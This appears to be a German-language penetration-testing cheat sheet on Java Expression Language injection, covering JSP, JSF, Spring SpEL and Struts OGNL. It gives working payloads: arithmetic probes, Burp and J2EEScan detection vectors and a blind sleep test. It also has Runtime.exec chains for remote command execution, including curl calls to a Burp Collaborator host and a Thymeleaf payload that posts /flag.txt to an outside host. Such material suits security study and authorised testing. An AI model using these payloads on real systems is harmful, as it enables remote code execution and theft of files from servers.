Die Expression Language (EL) ist integraler Bestandteil von JavaEE, um die Präsentationsschicht (z. B. Webseiten) und die Anwendungslogik (z. B. verwaltete Beans) zu verbinden und deren Interaktion zu ermöglichen. Sie wird hauptsächlich in:
JavaServer Faces (JSF): Zum Binden von UI-Komponenten an Backend-Daten/Aktionen.
JavaServer Pages (JSP): Für den Datenzugriff und die Manipulation innerhalb von JSP-Seiten.
Contexts and Dependency Injection for Java EE (CDI): Um die Interaktion der Webschicht mit verwalteten Beans zu erleichtern.
Verwendungskontexte:
Spring Framework: Wird in verschiedenen Modulen wie Sicherheit und Daten angewendet.
Allgemeine Verwendung: Durch die SpEL-API von Entwicklern in JVM-basierten Sprachen wie Java, Kotlin und Scala.
EL ist in JavaEE-Technologien, eigenständigen Umgebungen vorhanden und erkennbar durch .jsp oder .jsf Dateiendungen, Stack-Fehler und Begriffe wie "Servlet" in Headern. Ihre Funktionen und die Verwendung bestimmter Zeichen können jedoch versionsabhängig sein.
Je nach EL-Version können einige Funktionenein oder aus sein und normalerweise können einige Zeichennicht erlaubt sein.
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:{5*5}[25]
Beachten Sie, wie im vorherigen Beispiel der Begriff {5*5}ausgewertet wurde.
#Basic string operations examples{"a".toString()}[a]{"dfd".replace("d","x")}[xfx]#Access to the String class{"".getClass()}[class java.lang.String]#Access ro the String class bypassing "getClass"#{""["class"]}#Access to arbitrary class{"".getClass().forName("java.util.Date")}[class java.util.Date]#List methods of a class{"".getClass().forName("java.util.Date").getMethods()[0].toString()}[public boolean java.util.Date.equals(java.lang.Object)]
Detection
Burp-Erkennung
gk6q${"zkz".toString().replace("k", "x")}doap2#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
J2EE-Erkennung
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
Schlaf 10 Sekunden
#Blind detection vector (sleep during 10 seconds)https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
#Check the method getRuntime is there{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}[public static java.lang.Runtime java.lang.Runtime.getRuntime()]#Execute command (you won't see the command output in the console){"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}[Process[pid=10892, exitValue=0]]#Execute command bypassing "getClass"#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>